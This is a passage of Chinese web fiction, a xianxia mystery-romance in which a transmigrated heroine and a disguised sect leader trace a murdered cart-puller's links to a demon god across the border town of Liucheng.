苏晴沄表情瞬间微妙,不愧是贴身人啊,什么都说。“你家掌门可能不知道,酒晨如今已经进阶元婴被我家老爷正式收徒了,现在已经不太管杂事,所以才收了我的。” 西九岭将她所说一一记下,虽然要花些时间,但还是可以验证的,“如此说来道友不愿交出乾坤袋了?” 哦,原来搜身是这个意思……苏晴沄给他个微笑自行领会。开玩笑吗,谁家侍女乾坤袋里一堆高阶法宝、丹药和符箓啊,拿出来不就直接暴露了? 两人僵持间,仵作的声音响起:“有件法器。” 众人立刻围上去,只见那仵作手中拿着一枚打着络子的铜钱,猛一看与穹山地界通用的钱币无异,但仔细看就会发现钱币外沿上的点点印记并非划痕,而是有规律的微小符纹,注入灵气后钱币便会有所反应,显然是一件法器。 西九岭一张手,那枚铜钱立刻飞入他的手中。 仵作下意识想要阻止,李琦却一把抓住了他。他突然想起来一件事,他们家掌门是不管事的。 只要是穹山弟子就知道,这两百多年来穹山事务基本都是廖长老在处理,掌门只有每月宣讲和少数必要场合才会露面。可为啥今天掌门来济水?还冒充个巡查?这事儿他想不明白,但直觉告诉他这种违和感绝对不一般,他得发个传讯问问杜师兄! 西九岭正在仔细查看手中的铜钱。 没人知道他要查的是什么,即便是穹山,除他之外也只有七位长老知道这半个多月来他忙碌的事情与魔神有关。 是的,魔神,那个曾经两次打破大陆平衡、被封印千年却始终不死、令他的挚友终身无法走出深渊的罪魁祸首、这世间魔修的信仰、这世间正道的公敌,祂在深渊中潜伏了三百年后又一次行动了! 祂累积魔力、撼动缚魔阵,将自己的魔气送了出去! 而这枚铜钱正是他占卜魔气去向时所看到的那枚铜钱。在他的梦见里,魔气进入那佩戴铜钱之人体内的时候那人正准备进入济水 5. 是个景国人 《前未婚夫说他梦见了我》全本免费阅读 城南仁心堂的大门紧闭,门前的路面空空如也,只有几个衙役站在拴马石旁闲聊,偶尔有行人路过也都识趣的躲着门走。 衙役中有一个拿了亲戚带来的橘子跟同僚分。有好事的将几个橘子塞进了他们中最讨喜的一个走中,然后冲着药铺门口努了努嘴。 那讨喜的立刻会意,捧着橘子走向大门,冲着台阶上的守门修士哈腰道:“两位修士老爷,吃个橘子解解渴吧?” 他识趣地站在台阶下没有动,修士在凡人眼中宛如神明,但他们这些常年跟着修士办差的却知道修士跟凡人一样有高低之分,跟他们一起出来办差的这些修士也是会生老病死的,有些晚年就留在地方上教书,或是帮穹山上的仙人们寻找修仙的好苗子。 两个守门修士对视了一眼,其中一个便伸手招呼衙役上来,接了他手中的橘子。穹山辖地对修士的限制颇多,有些事儿找衙役帮忙要比自己办着方便许多。 衙役见两个修士肯吃橘子便笑得更甜了,“里面那个巡查,官儿很大吗?”他们第一次见到监管修士对人低头哈腰,都好奇得很。 其中一个修士纠正他:“巡查是个任务,不是官职。” “你跟他说这些干吗?”另一个修士似乎更懂得如何跟凡人沟通,转头对衙役道,“巡查就是上面派下来看看监管修士干得好不好的,你说厉不厉害?” 那衙役立刻领会,“明白,就是专门管着监管修士的。” “你就这么理解吧。” “怪不得监管修士那么怕巡查。” 修士在心中暗笑这衙役完全想错了,里面那位不管是不是巡查,监管修士都会对他毕恭毕敬的,谁叫人家齐长老的独子、剑圣的亲传,还有最近画屏山的传闻……不过穹山辖地对这传闻的控制很严,这些凡人应该还不知道,否则想打听的就不止这些了。 待衙役走后,旁边的修士问他:“里面真是齐鹤扬齐师叔吗?” “咱俩都是外门弟子,我也没见过金丹师叔长什么样啊?不过令牌我看到了,上面写的是齐鹤扬。” “你说传闻是真的吗?” 修士瞪大了眼睛,简直不敢相信自己的同伴竟然是个会问白痴问题的傻货,掌门的瓜是随便吃的吗?更何况当事人就在门里面,万一被听见…… 吱扭——门开了,两个修士立马跟遭了天雷一样全身绷直。 西九岭目不斜视地走出药铺,紧跟在后的苏晴沄给两个守门弟子挑了个大拇哥,最后面的李琦瞥了眼两个面如菜色的弟子,然后专心捧着手上那摞画纸追上了掌门。 “齐师兄,”李琦总算适应了对掌门的新称呼,圆滚滚的身体也不再那么僵硬,“现在是不是要去把画像上这些人都追回来?” 经城门官确认,卢严是昨天跟着秦家车队进的城。但秦掌柜称卢严并非秦家的伙计,而是他们在柳城进药时通过中人招募的车夫,跟卢严一起拉车的还有六人,此时他手上拿着的就是中人和其余六人的画像。 西九岭脚步停下却没有回答,而是扭头看向身边的人,“酒夕姑娘觉得呢?” 苏晴沄被问了个莫名其妙,“我?我就一配合工作的,你们咋办我跟着就得了呗。” “工作?” “呃……这案子是你们穹山的事儿嘛,怎么查你们定呗。” “穹山的事儿?可那个卢严似乎是柳城人啊。” 苏晴沄一怔,转瞬明白过来。死者是柳城人,所以这事儿变成景国的事儿了?所以她这个景国公主该负责?等等,他们不知道自己是公主。想到这里她又有了底气,“那又如何?人是死在济水的,该你们穹山给我们景国一个交代啊。” 李琦小圆眼睛眨了几眨,道友,你很理直气壮啊? 西九岭微微一笑,“可现在要自证清白的好像是你吧?” 忘了自己是嫌疑犯的苏晴沄瞪大了眼睛,跟着跟着就产生了剧作前期体验生活的错觉……所以对方的意思其实是,死者来自柳城,同为景国人的她嫌疑变大了! 李琦见她似乎想起了自己的身份,圆圆的脑袋点了两下。 苏晴沄看看“齐鹤扬”又看看“行走的圆”,终于下定了决心,“这个卢严很有问题。” 解决问题什么最重要?态度最重要!为了赢得组织信任、早日洗脱嫌疑,她决定端正态度、积极配合。 “按秦掌柜的说法,他们是一个多月前在柳城进的药材,然后找当地中人雇了一批人拉车回济水,总共七人,卢严就是其中之一。中人保证这些车夫都是熟手,看途中的表现也证明中人没有说谎,那么卢严明明是个修士为什么会熟练拉车?换句话说,他为什么要干粗活儿谋生? 还有。秦掌柜说他们昨天中午就到了,卸完车就给七人结了钱。伙计说他看着七人出的门,然后其中六人往城门的方向走了,只有卢严走了不同的方向,那些车夫中还有人打趣卢严是不是在济水有个相好的。通常情况,干粗活儿的人完工了就会立刻回家,毕竟挣的钱不多……那卢严是为什么在济水住了一晚?是有事,还是要见什么人?” 苏晴沄全情投入地分析了一波,抬头却见“齐鹤扬”和“行走的圆”都意味深长的看着自己,“怎么?我说的有问题吗?” 李琦的圆脑袋左右晃动,表示完全没问题。 西九岭意味深长道:“我们都认为酒夕姑娘分析的很有道理。” 所以?苏晴沄眨了眨眼,慢慢地,她终于从“齐鹤扬”的眼神中品出了几分味道,“你、你们觉得卢严在济水住一晚是为了见我?!” 仔细一想,卢严住了一晚,第二天一早她就到了,然后两人在酒馆相遇,接下来卢严就死了…… “怎么可能?!”她今天之前都不知道自己要来济水好吗!可咋说?同志们,我今天凌晨才穿越过来,太阳升起前连你们这儿有个济水城都不知道……谁信啊! 换思路,换思路,“对了!如果我跟卢严认识,又都是景国人,有事干吗跑到济水来见面?” 李琦的圆脑袋微微点头,这么说也是。 苏晴沄刚松口气,就听旁边那个“齐鹤扬”又开口了。 “或许济水有特殊之处,比如你们要来这里取什么东西,或者还有第三个人……还有一种可能,你们在景国行动不便,比如……你们已经被景国的官府盯上了。” 你这张嘴是长出来克我的吗?未婚夫给你还不能让你闭嘴吗! 苏晴沄一瞬间只觉得心累,好好的旅行碰上杀人案,莫名其妙成了嫌犯还遇上个难缠的官差,真是秀才遇到兵有理说不清。既然解释没用,那不如当条咸鱼,“那你说我该怎么自证清白?” “跟我去柳城调查。” “行。” “这么痛快 6. 到柳城 《前未婚夫说他梦见了我》全本免费阅读 两个装金丹的化神大能比着往慢飞,足足花了两个半时辰才到柳城,比普通金丹还慢了许多。落地时西边已经泛起了火烧云,城门都关上一半了。要不是景国没有城外五里不得御剑的规定,两人今晚就得露宿荒野。 西九岭凭着年少时的任务经验用银子阻住了城门关闭的趋势,两人这才进了柳城。 “进城第一条街左转到底就是乌渠巷,”城门官看在银子的份上也不急着关城门,心里盘算着今晚喝顿小酒,嘴上回答着西九岭的问题,“不过那帮做工的这会儿早该散了。” “刘大呢?”西九岭问的刘大正是秦家掌柜所说的中人。 “你们找刘大?”城门官听到刘大的名字掂了掂手上的银子。 西九岭立刻心领神会,又掏出一锭银子加了上去。站在旁边当咸鱼的苏晴沄后槽牙都快咬碎了,丢人啊!丢人!收受贿赂,还是跟外国人,景国的脸都被你们丢尽了! 城门官拿了银子便笑得合不拢嘴,头儿都没抬,两眼盯着银子道:“刘大这会儿要么是回家了,要么是在拐子巷喝酒。”接下来就将两处地址毫无保留地说了出来。 两处地址在一个方向上,用不着考虑,西九岭直接迈步就走。 “现在去找刘大?”走了一段之后苏咸鱼忍不住开口。 “不然呢?” “不先吃点儿东西吗?”午饭泡汤了,晚饭还不让人吃一口吗? “没带辟谷丹?” 其实化神就算没有辟谷丹也能几天不吃不喝,但她就想吃口饭,“饭菜那么香,干吗要吃辟谷丹?” 西九岭的脚步不禁一滞,扭头看向身边的“酒夕”,想起自己第一次下山时也跟玉玦说过类似的话,如今竟换了别人来对他说。 苏晴沄被他看得心里一阵打鼓,“我可不是拖延调查时间啊,就是想多尝尝世间美味嘛……”说到后面突然想起来他们正在调查的是一桩凶杀案,而刑侦剧里都说命案的最佳破案时间是七十二小时,“算了,算了,先查案吧,别错过最佳破案时间。” “最佳破案时间?” “呃……之前听一个捕快说的,说什么黄金侦破时间是三十六个时辰,过了这个时间就很难抓住凶手了。” “哦?倒不知还有这种说法。” “我也是听说,听说。”苏晴沄讪笑两下,正盘算着得赶紧岔开话题时,身边的“齐鹤扬”却突然停住了脚步。 顺着他的视线看去,才发现不知何时已经来到了一条小巷前,巷口的墙壁上刻着三个不算齐整的小字——拐子巷。 说来也巧,几乎就在两人站定的同时一个矮小的身影正从巷子里的小酒馆走出来。一对扫帚眉、两只三角眼、中间塌鼻梁,右边嘴角上一颗黄豆大小的黑痣,正是秦掌柜口中描述的中人刘大。 就见他哼着小曲溜溜达达往巷口走,看到两人堵着路才渐渐放慢脚步停了下来。 “哟,还想着明儿个才能在乌渠巷找到刘头儿,没想到这么巧。”西九岭变换了说话风格,一副见到熟人的样子走了过去。 “你是?”刘大有些迟疑,看上去正努力回忆着是否见过眼前人。 “上月初托刘头儿找过几个拉车的,”西九岭不知何时拿出了卢严身上搜出来的那枚铜钱,捏在手里把玩起来,“就卢严他们,记起来没?” “哦,哦,秦老板,对吧?”刘大满面堆笑,就好像真的想起西九岭了一般,“怎么?您这回还是找人拉车吗?” 西九岭将手中的铜钱在他眼前晃过,“今儿个是想打听点儿事儿。” 刘大的眼珠跟着铜钱转了半圈,脸上的表情却没什么变化,嘴上似乎是下意识重复着西九岭的话:“打听事儿?” “对。”西九岭将铜钱收回,换了一锭银子举到他眼前。 刘大眉开眼笑的抬起手,然后在碰到银子前硬生生停下,“不知道您要打听什么,咱这能不能帮上忙啊?” “我想知道——卢严在哪儿?” “卢严?他不是跟你们去济水了吗?等等,往返济水该要两个月的啊,你们怎么……” “本来是该两个月的,可卢严半道儿上跑了,还拐走了我们家主人的小妾。要不是这样,我们也用不着半道折回来找他啊。” 刘大听得直发愣,“拐、拐……” 苏晴沄走上来猛地一跺脚,“快说!卢严把人拐到哪儿去了?” “我、我、我哪儿知道啊?” 苏晴沄双眼一瞪道:“我告诉你,那小妾可是我家夫人花了一百两买来给老爷传宗接代的,如今被你们的人拐跑了,要是找不到人就得你赔!” “我、我,我就一中人……” “按大景律,差事出岔子中人也有责任,怎么着也得赔一半吧?” 看着苏晴沄叉腰瞪眼的模样,刘大都快哭出来了,怎么济水人还懂大景律啊? “嗳,”西九岭开口唱起了红脸,“我看刘头儿也对这事儿并不知情,想来不是卢严的共犯。” 刘大听着不住点头。 “这事儿还是卢严个人的品性太差。”西九岭边说边瞄着刘大。 刘大连忙附和:“没错,没错,卢严这王八羔子就是个色胚!要不是手脚勤快,谁会给他介绍活计?”说着又用力摇了几下头,恨恨道,“还以为这小子也就去窑子里四处卡卡油得了,没想到还敢动主顾的人,真是猪油蒙了心,我呸!” 西、苏二人对视一眼。因为卢严在酒馆里调戏了苏晴沄,所以他们编故事的时候就设计了拐走秦家小妾的情节,看来是猜对了,卢严果然有好色的毛病。 刘大骂完又开始表忠心:“二位放心,只要他卢严敢回柳城,我保证把他捆来见二位!哼!坑我主顾就如同杀我父母,别处不敢说,这柳城刘大爷还是有几分面子的!” 西九岭看着他的脸,也不管这话里有几分真,只笑道:“那就劳烦刘头儿帮我们盯着点儿了,”说着又掏出一锭银子塞给他,“另外,还得跟刘头儿打听一下卢严平日里都跟什么人来往,喜欢在哪里打发时间?” 此时天色已黑,刘大有些为难道:“跟卢严有来往的也就是乌渠巷里那帮玩意儿,要么就是城西那几个窑子里的,不过这会儿都快宵禁了……” 苏晴沄这才想起来景国是有宵禁的,他们还没找客栈呢。 西九岭在山上呆惯了,早忘了宵禁这回事儿,怔了一下才说道:“那咱们明儿个一早乌渠巷见?” 刘大拿过银子一拍胸脯,“没问题!”看着西、苏二人急匆匆去找客栈的背影,他掂了掂手中的银子,“秦家人?呵呵。” 等到了客栈,苏晴沄才突然想起来,“咱们好像忘了说自己的身份,那个刘大怎么也没问啊?”按路上编好的,他们一个扮秦家伙计,一个扮秦家丫鬟。 “那个刘大应该是发现咱们不是秦家人了。” 脚下的楼梯咯吱作响,苏晴沄皱着眉看了看自己身上的素色衣裙,“哪里出披露了?总不能这人的记性跟修士一样好,一个多月前见的人还能记得吧?” 西九岭看了眼她那张明媚如朝阳的脸,心想你也就说自己是画圣的侍女还有人信,“他做的就是拿钱办事的 7. 又死一个 《前未婚夫说他梦见了我》全本免费阅读 小喜子是个又黑又瘦的男孩儿,十三岁的年纪却只有一般孩子十岁的身高,两只小手的掌心布满了茧子,身上的肌肉紧实却完全感受不到这个年纪孩子该有的活力。名字里有个喜字,脸上却全然不见笑模样,只有那双乌溜溜的大眼睛闪烁着孩童特有的亮光,算是唯一和他名字相称的外表。 苏、西二人把跟刘大讲过的故事又跟他讲了一遍,然后就看到男孩儿眼中闪过了一丝疑惑与不安,但很快就换上了一副满不在乎的模样。 “拐走你家老爷的小妾?那小娘们儿有春桃骚吗?”说到这里,小喜子露出与年龄不相称的痞笑,这一笑便连那双眼睛都不怎么讨喜了,“那小妾宁肯跟个拉车的也不跟你家老爷,嘿嘿,是不是你家老爷不行啊?” 苏晴沄恍惚间有种在看社会新闻的不真实感,这是这种年龄的孩子该说的话吗? 西九岭倒是一脸平静,见惯不怪地拿出一锭银子塞进男孩儿手中,就跟对拐子巷里那帮苦力一样说道:“我们只想知道卢严可能会躲到哪里?” 小喜子捏着银子似乎有些犹豫,但最终还是收了起来,答道:“卢叔没回柳城。” “你这么肯定?”苏晴沄再次找回了她丫鬟的人设,“说不定他半夜溜回家了,或者藏进山里了呢?” “荒坡没有秘密,你们不信可以自己去卢叔家看。至于山里,”他露出一脸坏笑,“不然你们找只猴子问问?” 苏晴沄扯了下嘴角,虽然知道这孩子是环境所迫,但还是很想抽他啊…… “你觉得他会不会去找那个春桃?”西九岭问道。 “我哪儿知道?你们去问春桃啊。”小喜子满不在乎地扬了扬下巴,然后猛地双眼一亮,急急忙忙地从两人中间挤了过去,然后满脸堆笑地迎着一个准备踏入香满楼的客人跑了过去。 西九岭手疾眼快,一把扯住男孩儿的胳膊说道:“你把我东西碰掉了。” 被拽住的小喜子怒目圆睁,嘴里骂了一句不知道什么话,胳膊用力猛挣。可他没想到看上去文绉绉的西九岭居然有那么大的力气,任他怎么用力都摆脱不掉那只细皮嫩肉的手。最终只得皱着眉看向地面,然后不甘不愿地弯腰捡起了一枚打了络子的铜钱递给西九岭。看着西九岭接过铜钱,他恶狠狠地瞪了一眼,挣脱手臂转身就跑。 西、苏二人对视一眼,也转身离开。 “他也不认识这枚铜钱?”苏晴沄有些疑惑。 西九岭点了下头,“我抓住他的时候试了一下,这孩子体内既没有魔气也没有灵气。” “拐子巷里的人咱们今天都试过了。” “就差春桃了。” “去百花馆?” 西九岭看向身边人,就没见哪个女人说起妓院能这么自然的,“时间还早。” 听到时间还早,苏晴沄不禁想起方才那顿用时超短的饭。确切的说是她一个人闷头狂吃,“齐鹤扬”则全程一言不发的压制自己掐死说书先生的冲动。她以拳抵唇咳了一声掩饰笑意,“那不如去荒坡?” “不。” 苏晴沄想了想,“也对。拐子巷那帮人基本都住在荒坡,所谓的住处多半也就是个简易的棚子。”一帮没有物权概念的人住在一堆没有门窗的棚子里,就像小喜子说的那样——没有秘密。就算有,那也不是随便能找到的,反正金丹够呛。 突然觉得身边这人有点儿累赘,她下意识扭头,谁知道这人也在看她,视线相对的一瞬间竟然有种想法被看破的心虚。 索性视线触碰只是一瞬,西九岭便转回头拐入了前方的一个转角。 苏晴沄跟着拐过去,却见“齐鹤扬”停下脚步调转了身形。她先是一愣,然后立刻明白过来,跟着转回身贴到墙边,借着墙角的遮掩向香满楼的大门看去。 此刻的小喜子正在人身前唱数来宝,但热情显然不如他们刚来的时候,客人摆手要走时他也没有太多纠缠,还顺势向这边瞄了一眼。待客人走后,他又转身朝这边张望一番,然后掉头向着城北跑去。 苏、西二人交换了一个眼神,快步跟了上去。 小喜子一路向北出了城门,然后奔西上了灵山。 看着一路的石阶和不时路过的香客,苏晴沄才想起来柳城这个边陲之地并不一般。因为景国的国教是母神教,信奉的神明是地母,而柳城正是传说中的地母故乡,因此在这海拔不过五百米的灵山上却有这一座香火鼎盛的地母庙——灵山社。 小喜子一路跑到了灵山社的门口,一个白发苍苍的老婆婆正坐在门前苍松下的土坡上编着红绳,在她身前的地上铺着一张粗布,上面摆着各式各样的绳结。 小喜子冲到老婆婆面前停下脚步,一边喘气一边神色慌张道:“奶奶!卢叔拐了人家小妾跑了,他是不是不会回来了?” 喜子奶奶笑着拉过孙子的手拍了拍,柔声道:“怎么会?你卢叔肯定要回来的。” “为什么肯定要回来呢?” 突如其来的声音令老人怔了一下,同时她感觉到孙子的手在自己掌中抖了一下。她将孙子揽入怀中,慌忙向着声音的方向看去。 苏、西二人发现了老人眼中的警惕,走到距离地摊一米的位置就停了下来,然后把跟小喜子说过的故事又对老人讲了一遍。 喜子奶奶静静听完,然后拍了拍孙子的背,让他先回城里去。 徐徐清风吹过,一阵阵檀香飘摇,神庙里偶尔响起的惊鸟铃听上去空幻而悠远,喜子奶奶坐在地摊儿前看着自己的孙子跑远,然后漫不经心地低下头继续手中编了一半的红绳,“卢严去哪儿了我们不知道。” 西九岭道:“可您说他肯定会回来?” 老人专心着手中的活计,仿佛没有听见问话。 西九岭想了一下,借着衣袖的遮掩拿出那枚打着络子的铜钱,手指稍稍用力就掐断了一根丝线,“婆婆,我这络子坏了,您能帮我修一下吗?” 喜子奶奶这才停下手中的动作,接过他递来的铜钱仔细看了看,“修不了,得重新打一个。” 西九岭微笑道:“那就麻烦您了,我还想要原来的样式。” 喜子奶奶皱眉道:“这样式繁琐的很,可不是好打的。” 西九岭拿出一锭银子放到她手里。 见到银子的喜子奶奶明显愣了一下,然后赶忙看了看左右,见没人注意这边将银子急急揣入怀中,然后才缓缓放下手里的活计,挑了几根丝线跟铜钱上的络子比对起来。 待选好线开始动手,她突然开口解释道:“那么说,是给喜子听的。” 西九岭怔了一下才反应过来她这是在回答前面的问话。 “喜子爹娘没的早,老婆子我没能耐,家里的田地守不住,靠邻里帮持着做点儿针线活儿,可发了大水,都逃难了,老婆子只好带着喜子一路讨饭。那会儿他才八岁,到处给人磕头……”或许是因为想起过往辛酸,老人哽咽了一下,也终于选好了丝线、开始打起了络子,“喜子拧,多磕一个都不干,按下去还要起来……” 喜子奶奶就这么一边说着过往的心酸,一边抹着眼泪,一边打着络子。她年岁大了,说起话来颠三倒四,有时是几年前,有时又是最近。 听着、听着,苏晴沄的眼眶开始微微泛红,有段日子奶奶也是这样,坐在沙发上一边织毛衣、一边念叨着父亲小时候的事情,她那时候一门心思想拼个署名,总嫌奶奶唠叨,可现在想听却听不到了。 西九岭本来是想找机会打断老人的,结果不知怎么身边这位就泪眼婆娑了,心里莫名一阵烦闷,索性闭 8. 夜探荒坡 《前未婚夫说他梦见了我》全本免费阅读 妓馆是不停尸的,春桃的尸体甚至都没进院子就直接拉去乱葬岗烧了。根据当地习俗,窑姐儿生前有污,死后火葬才得极乐。 苏、西二人到达百花馆之前一刻钟,办事儿的龟公就回来了,这会儿正在后院儿拿柚子皮洗澡呢。 至于死因,老鸨说是春桃承受不住贵客的宠爱、没福气,“杜鹃和秋菊怎么就好好的回来了呢?” 可当二人提出要见杜鹃和秋菊时,老鸨又支支吾吾的说两个姑娘昨晚太累了,这会儿都在休息。 最后还是银子让老鸨说了实话。昨晚叫走三个姑娘的金老二素来风评不好,但看在银子的份儿上姑娘们还是会咬着牙去伺候。这次也是春桃运气差,金老二叫了几个朋友一起赌酒,喝的实在多了些…… “为什么不报官?” 老鸨看着苏晴沄一脸惊讶,“贵客真会说笑,我们这种贱命,官府哪儿管啊?” 苏晴沄在记忆中翻出了相关的大景律——杀害妓女只需赔偿妓馆银两,也就是说法律认定妓女是妓馆的私有财产。 她面色一暗,也不等老鸨再说什么,转身就走。 西九岭不知道她为什么突然生气,虽然自己也觉得线索断了很郁闷,但“酒夕”的情绪似乎不是这个原因。 直到出了巷子,他终于忍不住问:“你觉得春桃可怜?” “不可怜吗?” “那是她自己的选择。” “那是因为这个世界没有给她太多选择权!” “你也觉得小喜子和他奶奶可怜。” 编剧有同理心很奇怪吗?算了,这里的人根本不知道编剧是啥…… 见她不说话,西九岭又问:“你想杀了金老二替春桃报仇?” “这世上不止一个金老二,杀他一个解决不了问题。而且如果任何人都能乱用私刑,那这个世界就是七位化神说了算,还要什么穹山门规?要什么大景律?” “所以就不管了?” “所以就该完善大景律!”回头就跟便宜父王讨论一下。 西九岭眉毛一挑,姑娘,你很敢说啊。 感觉到气氛微妙的变化,苏晴沄猛地停下脚步,自己刚才是不是说了什么了不得的东西?扭头看“齐鹤扬”的表情…… “其实……这事儿我觉得可以跟我们家老爷说说,多说几次,不定哪天他老人家开心就跟陛下念叨了呢?咱们这些小民虽然人微言轻,但国家兴亡匹夫有责,能尽一份力就尽一份力……”呵呵,有点儿编不动了,“尽力而为,尽力而为。” 西九岭认真打量眼前这个“酒夕”,啧啧道:“没想到你还挺有正义感和责任心的。” 嗳?莫非眼前这个男小三儿被她的人品感动,准备解除对她的怀疑了?苏晴沄一脸期冀的想,不,这个“齐鹤扬”也是被逼出柜的受害者,是个好人! 然后西九岭一脸认真道:“不过也只有魔修才会妄言修改大景律吧?” …… 更正一下,这个“齐鹤扬”果然不是什么好人! 被西九岭这么一打岔,苏晴沄倒是没那么生气了。等两人回到客栈,她甚至还有胃口在大堂点了桌饭菜。 “你觉得春桃的死是意外吗?”西九岭很自然的坐到旁边的位子上,还跟小二要了碗米饭。 “你觉得是杀人灭口?”苏晴沄对他的加入毫不介意,反正只要他坐下来,这顿饭就算他的差旅费了。 “犯人不需要像咱们一样花时间调查卢严的来历,只要他的修为达到金丹、可以御剑,就有可能在咱们之前赶到柳城、做好安排、杀人灭口。”西九岭端着酒杯轻轻摇晃,杯中酒随着他的动作缓缓旋转起来,渐渐形成一个旋涡,“还有昨晚就知道咱们调查卢严的刘大。” “刘大?时间太紧了吧?” “如果是修士,又在柳城人脉通达,也不是没有可能。”西九岭意味深长地笑了一下,“即便是你,也有可能在我睡下之后悄悄潜去金老二家……” 苏晴沄不敢置信地瞪大了眼睛,这都行?你怎么不猜我有个法器叫作死亡竹简,只要在上面写几笔春桃就直接嗝儿屁了? 见她要撂筷子,西九岭改口道:“不过应该不是你,毕竟你都要为了春桃修大景律了。” 苏晴沄扯了下嘴角,那是为了春桃吗?那是为了公开、公平、公正,好吗?可她没法解释,只能干了这碗怜香惜玉的酒…… 吃了两口菜,西九岭又转起了酒杯,“还有件事让我有些在意。” 苏晴沄停下夹菜的动作想了想,“那枚铜钱?” “不错。城门官、刘大、拐子巷的苦力、小喜子祖孙,到柳城后咱们接触过的人似乎都不认识那枚铜钱。” “这些人也都不是修士,或许卢严没在他们面前拿出过铜钱吧?”昨晚见过刘大后他们就讨论过这个问题,不过今天见了那么多人……感觉是有点儿说不过去,毕竟这些人几乎是卢严的整个社交圈了。 “有些功法是能够在短时间内切断灵脉的。”虽然化神可以深入探查,但那需要时间,他们之前都是简单的试探。 “你觉得有人隐藏了修士身份?那这人看到铜钱却毫无反应,心理素质也太好了吧?” “可如果没有同伴,卢严为什么要在这里卖苦力呢?” “那个同伴或许是春桃呢?”苏晴沄顺口说完就闭上了嘴,哎,还是吃菜吧。 西九岭也停住了手上的动作,端起酒杯抿了一口。最有可能的线索断了,终归让人有些萎靡。 之后两人都没再开口,只是默默饮食。 直到饭菜将尽,苏晴沄才抬头问道:“接下来怎么查?要不要去荒坡看看?”这是她第二次提议去荒坡了,主要现在也想不到其他的调查方向。 西九岭看了看窗外的夜色,说道:“城门关了,明天吧。” 初春的天气乍暖还寒,到了深夜更是如此。荒坡上的窝棚、草席和露天躺卧着的人横七竖八,在不知人间悲喜的月光下显得格外荒凉。 苏晴沄站在坡前放出神识,片刻间便确认了几个空窝棚的位置。 所谓荒坡其实就是柳城西南的一处缓坡,这里既不依山也不傍水,土地贫瘠无法耕种,就这么一直荒废着,久而久之就有了荒坡的名字。 二十年前南岭大旱,许多边境村落受到影响出现了大量难民。当时的柳城官府在城外设立了粥棚赊粥,但为治安考虑未准难民入城,于是难民就在这片荒坡上落了脚。之后再有难民来柳城便都聚到了这里,经年累月竟有了如今的规模。 根据她和西九岭白天获取的信息,这片荒坡也有自己的规矩。 比如不许动别人的草席,那是荒坡人的棺材;不许睡别人的窝棚,因为曾经有几个人睡空窝棚的人被突然归来的主人撞见,全给打死了,这事儿最后闹得很大、惊动了官府。至于那个窝棚主人判了什么刑,拐子巷里没人记得,他们只记得这事儿惊动了官府,而荒坡不想要官府。 拜这条不成文的规矩所赐,苏晴沄能够确定这些空窝棚里必然有一个是卢严的。 小心翼翼地绕开一个个露天躺着的人,她愈加确定自己趁夜搜查是对的。要等到白天,闲在这里的人肯定不少,众目睽睽之下不用些手段不可能找出卢严的秘密,尤其还得带着个金丹,太妨碍自己施展了。 所以她决定先偷偷来搜查一遍,如果有什么发现,明天想法子在“齐鹤扬”面前“碰巧”找出来就是了。 绕过一个磨牙的老头,苏晴沄走进一个窝棚。说是窝棚,其实就是在地上插了几根木桩,然后搭了个茅草屋顶,甚至连围墙都没有,绝对的通风良好。 窝棚里面也是一眼望到底,除了无处不在的零落干草,地上就只有一片碎布头、两块木头渣和几坨排泄物。看上去除了棚子没住,里面的东西是一个都没放过,而且不能住也没浪费,直接被当成了厕所…… 一连搜了三个窝棚都是如此,所谓的搜查还没绕过一 9. 破棚夜谈 《前未婚夫说他梦见了我》全本免费阅读 夜风穿过木板间的缝隙送入宁静的清凉,明月透过顶棚的破洞洒下光亮。在这立于荒坡的简陋窝棚中,两个化神大能都在努力向对方证明自己只是个吸入千里酥后不能动弹的弱小金丹。 苏晴沄百无聊赖地望着破洞上方的一块天空,思绪回到了父母交通事故后不久的时候。 小贷公司拿着合同和房本登门催收,奶奶才知道父亲投资欠了债、还抵了自家的房子。年幼的她在失去父母之后又被迫离开了熟悉的城市,跟着奶奶回到乡下的老房子住,然后在第一次去村口上茅房之后嚎啕大哭。 哭累了,她就靠在茅房门口的破土堆上,跟现在一样一动不动。奶奶就坐在她旁边,却没有像过去那样抱着她哄,而是温柔地注视着面前的一片杂草跟她说:做人就该学草,到哪儿都能活。 那晚,坑坑洼洼的土地硌得她屁股发疼,身后茅房散出的味道令人作呕,北风刮得她双颊冰扎一般。她看着风中摇摆的杂草,第一次清晰地意识到——她的世界改变了。 而这场穿越,是她世界的又一次改变。 本以为自己开局拿了双王四个二,肯定是傲视天下的地主命。谁知道一秒钟险些开战,半天就成了杀人嫌疑犯,被迫跟抢了自己未婚夫的男人一起查案,如今还要为了保住马甲坐在这破棚子里听外面几百号人打呼噜、放屁、磨牙。 可即便这样,她还是觉得头顶这个破窟窿上面的一方星空好美……她是不是已经活成个杂草了? 另一边,西九岭看着面前的女人百思不得其解。 出门前他收到了廖辰的传讯,已经查实一个月前画圣正式收酒晨为徒,也确实收了个叫酒夕的金丹侍女,所以在来荒坡的路上他几乎已经确定这个“酒夕”是真的了。 可谁知道这女人竟然出现在了卢严的窝棚外,于是他不得不再次怀疑起来。毕竟除了提前销毁证据,他想不出这女人背着自己夜探荒坡的理由。 但当幻阵出现之后,这女人的破阵又没有丝毫犹豫,而且也吸入了千里醉。 如果真是卢严的同伙,这女人应该有所防备或者提前服下解药,然后在确认他中毒之后露出狰狞的面目刺杀他;如果不是卢严同伙,只为了拿走这里的东西,那就不该主动破阵,而是等他破阵之时越货杀人。 不管怎样,她都不该是现在这样坐在地上对着头顶的破洞发呆。 活了三百岁,他竟然看不透一个小姑娘?“你在想什么?”难道那顶上的破洞有什么玄机? 没想到苏晴沄却顺口回他:“我在想,星星好美。” 星星?西九岭一怔,这才注意到那窟窿之上的星空。 第一次下山的时候玉玦也说凡间的星空美,他问穹山的不美吗?玉玦说穹山耀眼的东西太多……那时候他说什么来着? “这么美,该有壶酒才对。” 听到这话,苏晴沄先是一怔,然后忍不住笑出了声。怎么觉得自己有吸引酒鬼的体质?覃小月是,黎晟是,穿到这边第一个认识的人也是。 西九岭看到“酒夕”笑了。 那是一种他从未在女子脸上见过的笑,随性洒脱、不加修饰。原本显得过于华丽的容颜也因这笑容染上了一种难以言说的味道,就仿佛在黄金上镶嵌了一块白玉,在花丛间引入了一汪清泉。而那种华贵娃娃套上粗布衣裙的违和感也随着这一笑消失了,因为拥有这般气质的人穿什么并不重要。 他突然就觉得,真该有壶酒才对。 “你又在想什么?” 被女人反问,西九岭先是一愣,然后半真半假道:“我在想,你为什么要独自来荒坡。” 呃……能不能收回问题?我并不是很想知道你在想什么…… 